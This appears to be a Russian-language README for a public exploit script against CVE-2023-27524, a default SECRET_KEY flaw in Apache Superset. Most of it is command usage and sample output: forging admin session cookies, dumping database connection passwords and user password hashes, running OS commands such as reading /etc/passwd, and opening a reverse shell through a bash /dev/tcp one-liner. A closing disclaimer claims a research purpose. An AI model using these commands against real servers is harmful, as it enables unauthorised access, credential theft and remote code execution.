##
# CVE-2023-27524: обход аутентификации и RCE в Apache Superset
Apache Superset, широко используемый инструмент с открытым исходным кодом для визуализации и исследования данных, был признан имеющим потенциальные уязвимости безопасности, которые могут привести к обходу аутентификации и удаленному выполнению кода (RCE). Эти уязвимости могут позволить злоумышленникам получить административные привилегии на целевых серверах, собирать учетные данные пользователей и потенциально скомпрометировать данные.
Конкретная рассматриваемая проблема безопасности — это уязвимость небезопасной конфигурации по умолчанию, обозначенная как CVE-2023-27524.
Основная причина заключается в предсказуемом секретном ключе Flask, установленном во время инсталляции, что затрагивает значительное количество открытых экземпляров Apache Superset. Несмотря на некоторые усилия по смягчению, эта уязвимость остается критической проблемой для тех, кто не обновил свои конфигурации.
Проблема может быть расширена до RCE. Данный эксплойт добавляет эту функциональность к оригинальному.
> Атаки на проверку сессий в версиях Apache Superset до 2.0.1 включительно. Установки, которые не изменили значение SECRET_KEY по умолчанию в соответствии с инструкциями по установке, позволяют злоумышленнику пройти аутентификацию и получить доступ к неавторизованным ресурсам. Это не затрагивает администраторов Superset, которые изменили значение по умолчанию для конфигурации SECRET_KEY.
Данный скрипт эксплойта написан для анализа CVE на vsociety.
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
-h, --help show this help message and exit
--id ID User ID to forge session cookie for. Default=1
Specify a wordlist file (default is 10.txt)
--validate, -v Validate the presence of vulnerability by login attempt
--enum-dbs, -dbs Enumerate databases
--enum-users, -eu Enumerate databases
--cmd CMD, -c CMD Run custom OS command on the database's server.
--revshell REVSHELL Specify IP:Port for reverse shell
--db-host Run commands or open reverse shell on the database server
### Проверка уязвимости и попытка взлома секрета приложения с помощью пользовательского списка слов
# python3 exploit.py --url -v -w 10k_most_common_passwords.txt
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1:
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u --enum-dbs
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Found database: "examples" with password "superset".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u --enum-users
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------+--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
### Выполнение пользовательской команды ОС
# python3 exploit.py --url --cmd 'bash -i >& /dev/tcp/ /4242 0>&1'
Обратите внимание, что в этом случае вывод пока не виден.
# python3 exploit.py -u --cmd 'cat /etc/passwd' --db-host
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
### Открытие обратной оболочки (reverse shell)
python3 exploit.py -u --revshell [IP]:[PORT]
python3 exploit.py -u --revshell [IP]:[PORT] --db-host
Данный скрипт эксплойта создан исключительно в целях исследования и разработки эффективных защитных методов. Он не предназначен для использования в каких-либо вредоносных или несанкционированных действиях. Автор и владелец скрипта снимают с себя любую ответственность за неправильное использование или ущерб, причиненный данным программным обеспечением. Пользователям настоятельно рекомендуется использовать это программное обеспечение ответственно и только в соответствии с применимыми законами и нормативными актами. Используйте ответственно.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
